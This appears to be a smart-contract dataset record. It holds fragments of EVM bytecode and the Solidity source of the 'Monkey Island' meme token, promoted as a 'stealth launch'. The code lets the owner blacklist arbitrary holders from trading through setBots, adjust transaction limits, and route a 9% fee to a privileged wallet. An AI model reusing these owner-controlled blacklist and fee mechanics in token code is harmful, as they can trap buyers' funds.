8215151515815260200191505060405180910390f35b610371610a7e565b005b6103bf6004803603604081101561038957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bec565b604051808215151515815260200191505060405180910390f35b610405600480360360208110156103ef57600080fd5b8101908080359060200190929190505050610c60565b005b6104496004803603602081101561041d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c6d565b604051808215151515815260200191505060405180910390f35b61046b610c8a565b604051808215151515815260200191505060405180910390f35b61048d610ca1565b005b6104d1600480360360208110156104a557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb3565b6040518082815260200191505060405180910390f35b610533600480360360408110156104fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cfb565b005b6105776004803603602081101561054b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d09565b005b610581610d7a565b005b61058b610ee9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105cb5780820151818401526020810190506105b0565b50505050905090810190601f1680156105f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106486004803603602081101561061c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f8b565b005b610652610ff5565b005b6106a06004803603604081101561066a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611000565b604051808215151515815260200191505060405180910390f35b610706600480360360408110156106d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611097565b604051808215151515815260200191505060405180910390f35b6107626004803603602081101561073657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061112e565b604051808215151515815260200191505060405180910390f35b6107de6004803603604081101561079257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061114b565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561088c5780601f106108615761010080835404028352916020019161088c565b820191906000526020600020905b81548152906001019060200180831161086f57829003601f168201915b5050505050905090565b6000600860009054906101000a900460ff161561091b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61092583836111d2565b905092915050565b6000600254905090565b6000600860009054906101000a900460ff16156109bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6109c78484846111e9565b90509392505050565b6000600560009054906101000a900460ff16905090565b6000600860009054906101000a900460ff1615610a6c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b610a76838361129a565b905092915050565b610a8e610a8961133f565b610c6d565b610ae3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806121a96030913960400191505060405180910390fd5b600860009054906101000a900460ff16610b65576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600860006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa610ba961133f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000610bf73361112e565b610c4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806121fb6030913960400191505060405180910390fd5b610c568383611347565b6001905092915050565b610c6a3382611502565b50565b6000610c838260076116a090919063ffffffff16565b9050919050565b6000600860009054906101000a900460ff16905090565b610cb1610cac61133f565b61177e565b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d0582826117d8565b5050565b610d19610d1461133f565b610c6d565b610d6e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806121a96030913960400191505060405180910390fd5b610d778161187f565b50565b610d8a610d8561133f565b610c6d565b610ddf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806121a96030913960400191505060405180910390fd5b600860009054906101000a900460ff1615610e62576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6001600860006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258610ea661133f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f815780601f10610f5657610100808354040283529160200191610f81565b820191906000526020600020905b815481529060010190602001808311610f6457829003601f168201915b5050505050905090565b610f943361112e565b610fe9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806121fb6030913960400191505060405180910390fd5b610ff2816118d9565b50565b610ffe33611933565b565b6000600860009054906101000a900460ff1615611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61108f838361198d565b905092915050565b6000600860009054906101000a900460ff161561111c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6111268383611a32565b905092915050565b60006111448260066116a090919063ffffffff16565b9050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006111df338484611a49565b6001905092915050565b60006111f6848484611c40565b61128f843361128a85600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611edc90919063ffffffff16565b611a49565b600190509392505050565b6000611335338461133085600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6590919063ffffffff16565b611a49565b6001905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6113ff81600254611f6590919063ffffffff16565b600281905550611456816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061226e6021913960400191505060405180910390fd5b61159d81600254611edc90919063ffffffff16565b6002819055506115f4816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611edc90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611727576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061224c6022913960400191505060405180910390fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611792816007611fed90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fcd265ebaf09df2871cc7bd4133404a235ba12eff2041bb89d9c714a2621c7c7e60405160405180910390a250565b6117e28282611502565b61187b823361187684600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611edc90919063ffffffff16565b611a49565b5050565b6118938160076120aa90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6719d08c1888103bea251a4ed56406bd0c3e69723c8a1686e017e7bbe159b6f860405160405180910390a250565b6118ed8160066120aa90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f660405160405180910390a250565b611947816006611fed90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669260405160405180910390a250565b6000611a283384611a2385600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611edc90919063ffffffff16565b611a49565b6001905092915050565b6000611a3f338484611c40565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611acf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806122b46024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806121d96022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611cc6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061228f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806121866023913960400191505060405180910390fd5b611d9d816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611edc90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e30816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600082821115611f54576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600080828401905083811015611fe3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b611ff782826116a0565b61204c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061222b6021913960400191505060405180910390fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6120b482826116a0565b15612127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f526f6c65733a206163636f756e7420616c72656164792068617320726f6c650081525060200191505060405180910390fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373506175736572526f6c653a2063616c6c657220646f6573206e6f742068617665207468652050617573657220726f6c6545524332303a20617070726f766520746f20746865207a65726f20616464726573734d696e746572526f6c653a2063616c6c657220646f6573206e6f74206861766520746865204d696e74657220726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c65526f6c65733a206163636f756e7420697320746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a7231582093c1d9e9fc709af1eaa80c29c02fbbcdb4c23daf14627873b738091851c49f5b64736f6c63430005110032
{"success": true, "error": null, "results": {}}
4,854
0x0Fe3D0204A922e63273C98389530F9678dcC9874
/* It's the curse... Initial buy limit: 1% = 10,000,000,000 Buy limit will be raised every 5 minutes Cooldown will be removed 30 minutes after launch Stealth launch t.me/monkeyIslandToken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MonkeyIsland is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Monkey Island️"; string private constant _symbol = 'MISL'; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 9; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress) public { _FeeAddress = FeeAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f86004803603602